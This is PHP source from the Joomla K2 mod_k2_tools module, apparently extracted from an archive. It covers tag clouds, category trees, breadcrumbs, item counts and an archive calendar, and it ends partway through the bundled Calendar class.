            foreach ($cloudCategory as $cloudCategoryID) {
                $categories[] = $cloudCategoryID;
                if ($params->get('cloud_category_recursive')) {
                    $children = modK2ToolsHelper::getCategoryChildren($cloudCategoryID);
                    $categories = @array_merge($categories, $children);
                }
            }
            $categories = @array_unique($categories);
            JArrayHelper::toInteger($categories);
            if (count($categories) == 1) {
                $query .= " AND i.catid={$categories[0]}";
            } else {
                $query .= " AND i.catid IN(".implode(',', $categories).")";
            }
        }

        if (K2_JVERSION != '15') {
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND c.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") AND i.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        }

        $db->setQuery($query);
        $IDs = K2_JVERSION == '30' ? $db->loadColumn() : $db->loadResultArray();

        if (!is_array($IDs) || !count($IDs)) {
            return array();
        }

        $query = "SELECT tag.name, tag.id
            FROM #__k2_tags as tag
            LEFT JOIN #__k2_tags_xref AS xref ON xref.tagID = tag.id
            WHERE xref.itemID IN (".implode(',', $IDs).")
            AND tag.published = 1";
        $db->setQuery($query);
        $rows = $db->loadObjectList();
        $cloud = array();
        if (count($rows)) {
            foreach ($rows as $tag) {
                if (@array_key_exists($tag->name, $cloud)) {
                    $cloud[$tag->name]++;
                } else {
                    $cloud[$tag->name] = 1;
                }
            }

            $max_size = $params->get('max_size');
            $min_size = $params->get('min_size');
            $max_qty = max(array_values($cloud));
            $min_qty = min(array_values($cloud));
            $spread = $max_qty - $min_qty;
            if (0 == $spread) {
                $spread = 1;
            }

            $step = ($max_size - $min_size) / ($spread);

            $counter = 0;
            arsort($cloud, SORT_NUMERIC);
            $cloud = @array_slice($cloud, 0, $params->get('cloud_limit'), true);
            uksort($cloud, "strnatcasecmp");

            foreach ($cloud as $key => $value) {
                $size = $min_size + (($value - $min_qty) * $step);
                $size = ceil($size);
                $tmp = new stdClass;
                $tmp->tag = $key;
                $tmp->count = $value;
                $tmp->size = $size;
                $tmp->link = urldecode(JRoute::_(K2HelperRoute::getTagRoute($key)));
                $tags[$counter] = $tmp;
                $counter++;
            }

            return $tags;
        }
    }

    public static function getSearchCategoryFilter(&$params)
    {
        $result = '';
        $cid = $params->get('category_id', null);
        if ($params->get('catfilter')) {
            if (!is_null($cid)) {
                if (is_array($cid)) {
                    if ($params->get('getChildren')) {
                        $itemListModel = K2Model::getInstance('Itemlist', 'K2Model');
                        $categories = $itemListModel->getCategoryTree($cid);
                        $result = @implode(',', $categories);
                    } else {
                        JArrayHelper::toInteger($cid);
                        $result = implode(',', $cid);
                    }
                } else {
                    if ($params->get('getChildren')) {
                        $itemListModel = K2Model::getInstance('Itemlist', 'K2Model');
                        $categories = $itemListModel->getCategoryTree($cid);
                        $result = @implode(',', $categories);
                    } else {
                        $result = (int)$cid;
                    }
                }
            }
        }

        return $result;
    }

    public static function hasChildren($id)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $id = (int)$id;
        $db = JFactory::getDbo();
        $query = "SELECT * FROM #__k2_categories  WHERE parent={$id} AND published=1 AND trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }

        if (count($rows)) {
            return true;
        } else {
            return false;
        }
    }

    public static function treerecurse(&$params, $id = 0, $level = 0, $begin = false)
    {
        static $output;
        if ($begin) {
            $output = '';
        }
        $app = JFactory::getApplication();
        $root_id = (int)$params->get('root_id');
        $end_level = $params->get('end_level', null);
        $id = (int)$id;
        $catid = JRequest::getInt('id');
        $option = JRequest::getCmd('option');
        $view = JRequest::getCmd('view');

        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();

        switch ($params->get('categoriesListOrdering')) {

            case 'alpha':
                $orderby = 'name';
                break;

            case 'ralpha':
                $orderby = 'name DESC';
                break;

            case 'order':
                $orderby = 'ordering';
                break;

            case 'reversedefault':
                $orderby = 'id DESC';
                break;

            default:
                $orderby = 'id ASC';
                break;
        }

        if (($root_id != 0) && ($level == 0)) {
            $query = "SELECT * FROM #__k2_categories WHERE parent={$root_id} AND published=1 AND trash=0 ";
        } else {
            $query = "SELECT * FROM #__k2_categories WHERE parent={$id} AND published=1 AND trash=0 ";
        }

        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }

        $query .= " ORDER BY {$orderby}";

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }

        if ($level < intval($end_level) || is_null($end_level)) {
            $output .= '<ul class="level'.$level.'">';
            foreach ($rows as $row) {
                if ($params->get('categoriesListItemsCounter')) {
                    $row->numOfItems = ' ('.modK2ToolsHelper::countCategoryItems($row->id).')';
                } else {
                    $row->numOfItems = '';
                }

                if (($option == 'com_k2') && ($view == 'itemlist') && ($catid == $row->id)) {
                    $active = ' class="activeCategory"';
                } else {
                    $active = '';
                }

                if (modK2ToolsHelper::hasChildren($row->id)) {
                    $output .= '<li'.$active.'><a href="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'"><span class="catTitle">'.$row->name.'</span><span class="catCounter">'.$row->numOfItems.'</span></a>';
                    modK2ToolsHelper::treerecurse($params, $row->id, $level + 1);
                    $output .= '</li>';
                } else {
                    $output .= '<li'.$active.'><a href="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'"><span class="catTitle">'.$row->name.'</span><span class="catCounter">'.$row->numOfItems.'</span></a></li>';
                }
            }
            $output .= '</ul>';
        }

        return $output;
    }

    public static function treeselectbox(&$params, $id = 0, $level = 0)
    {
        $app = JFactory::getApplication();
        $root_id = (int)$params->get('root_id2');
        $option = JRequest::getCmd('option');
        $view = JRequest::getCmd('view');
        $category = JRequest::getInt('id');
        $id = (int)$id;
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();
        if (($root_id != 0) && ($level == 0)) {
            $query = "SELECT * FROM #__k2_categories WHERE parent={$root_id} AND published=1 AND trash=0 ";
        } else {
            $query = "SELECT * FROM #__k2_categories WHERE parent={$id} AND published=1 AND trash=0 ";
        }

        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }

        $query .= " ORDER BY ordering";

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }

        if ($level == 0) {
            echo '
<div class="k2CategorySelectBlock '.$params->get('moduleclass_sfx').'">
    <form action="'.JRoute::_('index.php').'" method="get">
        <select name="category" onchange="window.location=this.form.category.value;">
            <option value="'.JURI::base(true).'/">'.JText::_('K2_SELECT_CATEGORY').'</option>
            ';
        }
        $indent = "";
        for ($i = 0; $i < $level; $i++) {
            $indent .= '&ndash; ';
        }

        foreach ($rows as $row) {
            if (($option == 'com_k2') && ($category == $row->id)) {
                $selected = ' selected="selected"';
            } else {
                $selected = '';
            }
            if (modK2ToolsHelper::hasChildren($row->id)) {
                echo '<option value="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'"'.$selected.'>'.$indent.$row->name.'</option>';
                modK2ToolsHelper::treeselectbox($params, $row->id, $level + 1);
            } else {
                echo '<option value="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'"'.$selected.'>'.$indent.$row->name.'</option>';
            }
        }

        if ($level == 0) {
            echo '
            </select>
            <input name="option" value="com_k2" type="hidden" />
            <input name="view" value="itemlist" type="hidden" />
            <input name="task" value="category" type="hidden" />
            <input name="Itemid" value="'.JRequest::getInt('Itemid').'" type="hidden" />';

            // For Joom!Fish compatibility
            if (JRequest::getCmd('lang')) {
                echo '<input name="lang" value="'.JRequest::getCmd('lang').'" type="hidden" />';
            }

            echo '
    </form>
</div>
            ';
        }
    }

    public static function breadcrumbs($params)
    {
        $app = JFactory::getApplication();
        $array = array();
        $view = JRequest::getCmd('view');
        $id = JRequest::getInt('id');
        $option = JRequest::getCmd('option');
        $task = JRequest::getCmd('task');

        $db = JFactory::getDbo();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');

        $menu = $app->getMenu();
        $active = $menu->getActive();

        if ($option == 'com_k2') {
            switch ($view) {

                case 'item':
                    if (K2_JVERSION != '15') {
                        $languageCheck = '';
                        if ($app->getLanguageFilter()) {
                            $languageTag = JFactory::getLanguage()->getTag();
                            $languageCheck = " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
                        }
                        $query = "SELECT * FROM #__k2_items  WHERE id={$id} AND published=1 AND trash=0 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") {$languageCheck} AND EXISTS (SELECT * FROM #__k2_categories WHERE #__k2_categories.id= #__k2_items.catid AND published=1 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).")  {$languageCheck} )";
                    } else {
                        $query = "SELECT * FROM #__k2_items  WHERE id={$id} AND published=1 AND trash=0 AND access<={$aid} AND EXISTS (SELECT * FROM #__k2_categories WHERE #__k2_categories.id= #__k2_items.catid AND published=1 AND access<={$aid})";
                    }
                    $db->setQuery($query);
                    $row = $db->loadObject();
                    if ($db->getErrorNum()) {
                        echo $db->stderr();
                        return false;
                    }

                    $matchItem = !is_null($active) && @$active->query['view'] == 'item' && @$active->query['id'] == $id;
                    $matchCategory = !is_null($active) && @$active->query['view'] == 'itemlist' && @$active->query['task'] == 'category' && @$active->query['id'] == $row->catid;

                    if ($matchItem || $matchCategory) {
                        $title = ($matchCategory) ? $row->title : '';
                        $path = modK2ToolsHelper::getSitePath();
                        return array($path, $title);
                    }

                    $title = $row->title;
                    $path = modK2ToolsHelper::getCategoryPath($row->catid);

                    break;

                case 'itemlist':
                    if ($task == 'category') {
                        $match = !is_null($active) && @$active->query['view'] == 'itemlist' && @$active->query['task'] == 'category' && @$active->query['id'] == $id;
                        if ($match) {
                            $title = '';
                            $path = modK2ToolsHelper::getSitePath();
                            return array($path, $title);
                        }


                        $query = "SELECT * FROM #__k2_categories  WHERE id={$id} AND published=1 AND trash=0 ";
                        if (K2_JVERSION != '15') {
                            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
                            if ($app->getLanguageFilter()) {
                                $languageTag = JFactory::getLanguage()->getTag();
                                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
                            }
                        } else {
                            $query .= " AND access <= {$aid}";
                        }

                        $db->setQuery($query);
                        $row = $db->loadObject();
                        if ($db->getErrorNum()) {
                            echo $db->stderr();
                            return false;
                        }
                        $title = $row->name;
                        $path = modK2ToolsHelper::getCategoryPath($row->parent);
                    } else {
                        $document = JFactory::getDocument();
                        $title = $document->getTitle();
                        $path = modK2ToolsHelper::getSitePath();
                    }
                    break;

                case 'latest':
                    $document = JFactory::getDocument();
                    $title = $document->getTitle();
                    $path = modK2ToolsHelper::getSitePath();
                    break;
            }
        } else {
            $document = JFactory::getDocument();
            $title = $document->getTitle();
            $path = modK2ToolsHelper::getSitePath();
        }

        return array(
            $path,
            $title
        );
    }

    public static function getSitePath()
    {
        $app = JFactory::getApplication();
        $pathway = $app->getPathway();
        $items = $pathway->getPathway();
        $count = count($items);
        $path = array();
        for ($i = 0; $i < $count; $i++) {
            if (!empty($items[$i]->link)) {
                $items[$i]->name = stripslashes(htmlspecialchars($items[$i]->name, ENT_QUOTES, 'UTF-8'));
                $items[$i]->link = JRoute::_($items[$i]->link);
                array_push($path, '<a href="'.JRoute::_($items[$i]->link).'">'.$items[$i]->name.'</a>');
            }
        }
        return $path;
    }

    public static function getCategoryPath($catid, &$array = array())
    {
        if (isset(self::$paths[$catid])) {
            return self::$paths[$catid];
        }

        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $catid = (int)$catid;
        $db = JFactory::getDbo();
        $query = "SELECT * FROM #__k2_categories WHERE id={$catid} AND published=1 AND trash=0 ";

        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }

        foreach ($rows as $row) {
            array_push($array, '<a href="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'">'.$row->name.'</a>');
            modK2ToolsHelper::getCategoryPath($row->parent, $array);
        }
        $return = array_reverse($array);
        self::$paths[$catid] = $return;
        return $return;
    }

    public static function getCategoryChildren($catid)
    {
        static $array = array();
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $catid = (int)$catid;
        $db = JFactory::getDbo();
        $query = "SELECT * FROM #__k2_categories WHERE parent={$catid} AND published=1 AND trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }
        $query .= " ORDER BY ordering ";

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }
        foreach ($rows as $row) {
            array_push($array, $row->id);
            if (modK2ToolsHelper::hasChildren($row->id)) {
                modK2ToolsHelper::getCategoryChildren($row->id);
            }
        }
        return $array;
    }

    public static function countArchiveItems($month, $year, $catid = 0)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $month = (int)$month;
        $year = (int)$year;
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

        $nullDate = $db->getNullDate();

        $query = "SELECT COUNT(*) FROM #__k2_items WHERE MONTH(created)={$month} AND YEAR(created)={$year} AND published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }
        if ($catid > 0) {
            $query .= " AND catid={$catid}";
        }
        $db->setQuery($query);
        $total = $db->loadResult();
        return $total;
    }

    public static function countCategoryItems($id)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $id = (int)$id;
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

        $nullDate = $db->getNullDate();

        $query = "SELECT COUNT(*) FROM #__k2_items WHERE catid={$id} AND published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }
        $db->setQuery($query);
        $total = $db->loadResult();
        return $total;
    }

    public static function calendar($params)
    {
        $month = JRequest::getInt('month');
        $year = JRequest::getInt('year');

        $months = array(
            JText::_('K2_JANUARY'),
            JText::_('K2_FEBRUARY'),
            JText::_('K2_MARCH'),
            JText::_('K2_APRIL'),
            JText::_('K2_MAY'),
            JText::_('K2_JUNE'),
            JText::_('K2_JULY'),
            JText::_('K2_AUGUST'),
            JText::_('K2_SEPTEMBER'),
            JText::_('K2_OCTOBER'),
            JText::_('K2_NOVEMBER'),
            JText::_('K2_DECEMBER'),
        );
        $days = array(
            JText::_('K2_SUN'),
            JText::_('K2_MON'),
            JText::_('K2_TUE'),
            JText::_('K2_WED'),
            JText::_('K2_THU'),
            JText::_('K2_FRI'),
            JText::_('K2_SAT'),
        );

        $cal = new MyCalendar;
        $cal->category = $params->get('calendarCategory', 0);
        $cal->setStartDay(1);
        $cal->setMonthNames($months);
        $cal->setDayNames($days);

        if (($month) && ($year)) {
            return $cal->getMonthView($month, $year);
        } else {
            return $cal->getCurrentMonthView();
        }
    }

    public function calendarNavigation()
    {
        $app = JFactory::getApplication();

        $month = JRequest::getInt('month');
        $year = JRequest::getInt('year');

        $months = array(JText::_('K2_JANUARY'), JText::_('K2_FEBRUARY'), JText::_('K2_MARCH'), JText::_('K2_APRIL'), JText::_('K2_MAY'), JText::_('K2_JUNE'), JText::_('K2_JULY'), JText::_('K2_AUGUST'), JText::_('K2_SEPTEMBER'), JText::_('K2_OCTOBER'), JText::_('K2_NOVEMBER'), JText::_('K2_DECEMBER'), );
        $days = array(JText::_('K2_SUN'), JText::_('K2_MON'), JText::_('K2_TUE'), JText::_('K2_WED'), JText::_('K2_THU'), JText::_('K2_FRI'), JText::_('K2_SAT'), );

        $cal = new MyCalendar;
        $cal->setMonthNames($months);
        $cal->setDayNames($days);
        $cal->category = JRequest::getInt('catid');
        $cal->setStartDay(1);
        if (($month) && ($year)) {
            echo $cal->getMonthView($month, $year);
        } else {
            echo $cal->getCurrentMonthView();
        }
        $app->close();
    }

    public static function renderCustomCode($params)
    {
        jimport('joomla.filesystem.file');
        $document = JFactory::getDocument();
        if ($params->get('parsePhp')) {
            $filename = tempnam(JPATH_SITE.'/cache/mod_k2_tools', 'tmp');
            $customCode = $params->get('customCode');
            JFile::write($filename, $customCode);
            ob_start();
            include($filename);
            $output = ob_get_contents();
            ob_end_clean();
            JFile::delete($filename);
        } else {
            $output = $params->get('customCode');
        }
        if ($document->getType() != 'feed') {
            $dispatcher = JDispatcher::getInstance();
            if ($params->get('JPlugins')) {
                JPluginHelper::importPlugin('content');
                $row = new JObject();
                $row->text = $output;
                if (K2_JVERSION != '15') {
                    $dispatcher->trigger('onContentPrepare', array(
                        'mod_k2_tools',
                        &$row,
                        &$params
                    ));
                } else {
                    $dispatcher->trigger('onPrepareContent', array(
                        &$row,
                        &$params
                    ));
                }
                $output = $row->text;
            }
            if ($params->get('K2Plugins')) {
                JPluginHelper::importPlugin('k2');
                $row = new JObject();
                $row->text = $output;
                $dispatcher->trigger('onK2PrepareContent', array(
                    &$row,
                    &$params
                ));
                $output = $row->text;
            }
        }
        return $output;
    }
}

class MyCalendar extends Calendar
{
    public $category = null;
    public $cache = null;

    public function getDateLink($day, $month, $year)
    {
        if (is_null($this->cache)) {
            $this->cache = array();
            $app = JFactory::getApplication();
            $user = JFactory::getUser();
            $aid = $user->get('aid');
            $db = JFactory::getDbo();

            $jnow = JFactory::getDate();
            $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

            $nullDate = $db->getNullDate();

            $languageCheck = '';
            if (K2_JVERSION != '15') {
                $accessCheck = " access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
                if ($app->getLanguageFilter()) {
                    $languageTag = JFactory::getLanguage()->getTag();
                    $languageCheck = " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
                }
            } else {
                $accessCheck = " access <= {$aid}";
            }

            $query = "SELECT DAY(created) AS day, COUNT(*) AS counter FROM #__k2_items WHERE YEAR(created)={$year} AND MONTH(created)={$month} AND published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 AND {$accessCheck} {$languageCheck} AND EXISTS(SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND {$accessCheck} {$languageCheck})";

            $catid = $this->category;
            if ($catid > 0) {
                $query .= " AND catid={$catid}";
            }

            $query .= ' GROUP BY day';

            $db->setQuery($query);
            $objects = $db->loadObjectList();
            if ($db->getErrorNum()) {
                echo $db->stderr();
                return false;
            }
            foreach ($objects as $object) {
                $this->cache[$object->day] = $object->counter;
            }
        }
        $result = isset($this->cache[$day]) ? $this->cache[$day] : 0;

        if ($result > 0) {
            if ($this->category > 0) {
                return JRoute::_(K2HelperRoute::getDateRoute($year, $month, $day, $this->category));
            } else {
                return JRoute::_(K2HelperRoute::getDateRoute($year, $month, $day));
            }
        } else {
            return false;
        }
    }

    public function getCalendarLink($month, $year)
    {
        $itemID = JRequest::getInt('Itemid');
        if ($this->category > 0) {
            return JURI::root(true)."/index.php?option=com_k2&amp;view=itemlist&amp;task=calendar&amp;month={$month}&amp;year={$year}&amp;catid={$this->category}&amp;Itemid={$itemID}";
        } else {
            return JURI::root(true)."/index.php?option=com_k2&amp;view=itemlist&amp;task=calendar&amp;month=$month&amp;year=$year&amp;Itemid={$itemID}";
        }
    }
}
mod_k2_tools/index.html000060400000000054150746170540011140 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_k2_tools/includes/calendarClass.php000060400000031454150746170540014231 0ustar00<?php
/**
 * @version    2.7.x
 * @package    K2
 * @author     JoomlaWorks http://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2016 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

// PHP Calendar Class Version 1.4 (5th March 2001)
//
// Copyright David Wilkinson 2000 - 2001. All Rights reserved.
//
// This software may be used, modified and distributed freely
// providing this copyright notice remains intact at the head
// of the file.
//
// This software is freeware. The author accepts no liability for
// any loss or damages whatsoever incurred directly or indirectly
// from the use of this script. The author of this software makes
// no claims as to its fitness for any purpose whatsoever. If you
// wish to use this software you should first satisfy yourself that
// it meets your requirements.
//
// URL:   http://www.cascade.org.uk/software/php/calendar/
// Email: davidw@cascade.org.uk


class Calendar
{


    /*
        Get the array of strings used to label the days of the week. This array contains seven
        elements, one for each day of the week. The first entry in this array represents Sunday.
    */
    function getDayNames()
    {
        return $this->dayNames;
    }


    /*
        Set the array of strings used to label the days of the week. This array must contain seven
        elements, one for each day of the week. The first entry in this array represents Sunday.
    */
    function setDayNames($names)
    {
        $this->dayNames = $names;
    }

    /*
        Get the array of strings used to label the months of the year. This array contains twelve
        elements, one for each month of the year. The first entry in this array represents January.
    */
    function getMonthNames()
    {
        return $this->monthNames;
    }

    /*
        Set the array of strings used to label the months of the year. This array must contain twelve
        elements, one for each month of the year. The first entry in this array represents January.
    */
    function setMonthNames($names)
    {
        $this->monthNames = $names;
    }



    /*
        Gets the start day of the week. This is the day that appears in the first column
        of the calendar. Sunday = 0.
    */
      function getStartDay()
    {
        return $this->startDay;
    }

    /*
        Sets the start day of the week. This is the day that appears in the first column
        of the calendar. Sunday = 0.
    */
    function setStartDay($day)
    {
        $this->startDay = $day;
    }


    /*
        Gets the start month of the year. This is the month that appears first in the year
        view. January = 1.
    */
    function getStartMonth()
    {
        return $this->startMonth;
    }

    /*
        Sets the start month of the year. This is the month that appears first in the year
        view. January = 1.
    */
    function setStartMonth($month)
    {
        $this->startMonth = $month;
    }


    /*
        Return the URL to link to in order to display a calendar for a given month/year.
        You must override this method if you want to activate the "forward" and "back"
        feature of the calendar.

        Note: If you return an empty string from this function, no navigation link will
        be displayed. This is the default behaviour.

        If the calendar is being displayed in "year" view, $month will be set to zero.
    */
    function getCalendarLink($month, $year)
    {
        return "";
    }

    /*
        Return the URL to link to  for a given date.
        You must override this method if you want to activate the date linking
        feature of the calendar.

        Note: If you return an empty string from this function, no navigation link will
        be displayed. This is the default behaviour.
    */
    function getDateLink($day, $month, $year)
    {
        return "";
    }


    /*
        Return the HTML for the current month
    */
    function getCurrentMonthView()
    {
        $d = getdate(time());
        return $this->getMonthView($d["mon"], $d["year"]);
    }


    /*
        Return the HTML for the current year
    */
    function getCurrentYearView()
    {
        $d = getdate(time());
        return $this->getYearView($d["year"]);
    }


    /*
        Return the HTML for a specified month
    */
    function getMonthView($month, $year)
    {
        return $this->getMonthHTML($month, $year);
    }


    /*
        Return the HTML for a specified year
    */
    function getYearView($year)
    {
        return $this->getYearHTML($year);
    }



    /********************************************************************************

        The rest are private methods. No user-servicable parts inside.

        You shouldn't need to call any of these functions directly.

    *********************************************************************************/


    /*
        Calculate the number of days in a month, taking into account leap years.
    */
    function getDaysInMonth($month, $year)
    {
        if ($month < 1 || $month > 12)
        {
            return 0;
        }

        $d = $this->daysInMonth[$month - 1];

        if ($month == 2)
        {
            // Check for leap year
            // Forget the 4000 rule, I doubt I'll be around then...

            if ($year%4 == 0)
            {
                if ($year%100 == 0)
                {
                    if ($year%400 == 0)
                    {
                        $d = 29;
                    }
                }
                else
                {
                    $d = 29;
                }
            }
        }

        return $d;
    }


    /*
        Generate the HTML for a given month
    */
    function getMonthHTML($m, $y, $showYear = 1)
    {
        $s = "";

        $a = $this->adjustDate($m, $y);
        $month = $a[0];
        $year = $a[1];

    	$daysInMonth = $this->getDaysInMonth($month, $year);
    	$date = getdate(mktime(12, 0, 0, $month, 1, $year));

    	$first = $date["wday"];
    	$monthName = $this->monthNames[$month - 1];

    	$prev = $this->adjustDate($month - 1, $year);
    	$next = $this->adjustDate($month + 1, $year);

    	if ($showYear == 1)
    	{
    	    $prevMonth = $this->getCalendarLink($prev[0], $prev[1]);
    	    $nextMonth = $this->getCalendarLink($next[0], $next[1]);
    	}
    	else
    	{
    	    $prevMonth = "";
    	    $nextMonth = "";
    	}

    	$header = $monthName . (($showYear > 0) ? " " . $year : "");

    	$s .= "<table class=\"calendar\">\n";
    	$s .= "<tr>\n";
    	$s .= "<td class=\"calendarNavMonthPrev\">" . (($prevMonth == "") ? "&nbsp;" : "<a class=\"calendarNavLink\" href=\"$prevMonth\">&laquo;</a>")  . "</td>\n";
    	$s .= "<td class=\"calendarCurrentMonth\" colspan=\"5\">$header</td>\n";
    	$s .= "<td class=\"calendarNavMonthNext\">" . (($nextMonth == "") ? "&nbsp;" : "<a class=\"calendarNavLink\" href=\"$nextMonth\">&raquo;</a>")  . "</td>\n";
    	$s .= "</tr>\n";

    	$s .= "<tr>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+1)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+2)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+3)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+4)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+5)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+6)%7] . "</td>\n";
    	$s .= "</tr>\n";

    	// We need to work out what date to start at so that the first appears in the correct column
    	$d = $this->startDay + 1 - $first;
    	while ($d > 1)
    	{
    	    $d -= 7;
    	}

        // Make sure we know when today is, so that we can use a different CSS style
        $today = getdate(time());

    	while ($d <= $daysInMonth)
    	{
    	    $s .= "<tr>\n";

    	    for ($i = 0; $i < 7; $i++)
    	    {
        	    $class = ($year == $today["year"] && $month == $today["mon"] && $d == $today["mday"]) ? "calendarToday" : "calendarDate";

    	        if ($d > 0 && $d <= $daysInMonth){
    	            $link = $this->getDateLink($d, $month, $year);
    	            if($link == ""){
    	            	$s .= "<td class=\"{$class}\">$d</td>\n";
    	            } else {
    	            	$s .= "<td class=\"{$class}Linked\"><a href=\"$link\">$d</a></td>\n";
    	            }
    	        } else {
    	        		$s .= "<td class=\"calendarDateEmpty\">&nbsp;</td>\n";
    	        }

        	    $d++;
    	    }
    	    $s .= "</tr>\n";
    	}

    	$s .= "</table>\n";

    	return $s;
    }


    /*
        Generate the HTML for a given year
    */
    function getYearHTML($year)
    {
        $s = "";
    	$prev = $this->getCalendarLink(0, $year - 1);
    	$next = $this->getCalendarLink(0, $year + 1);

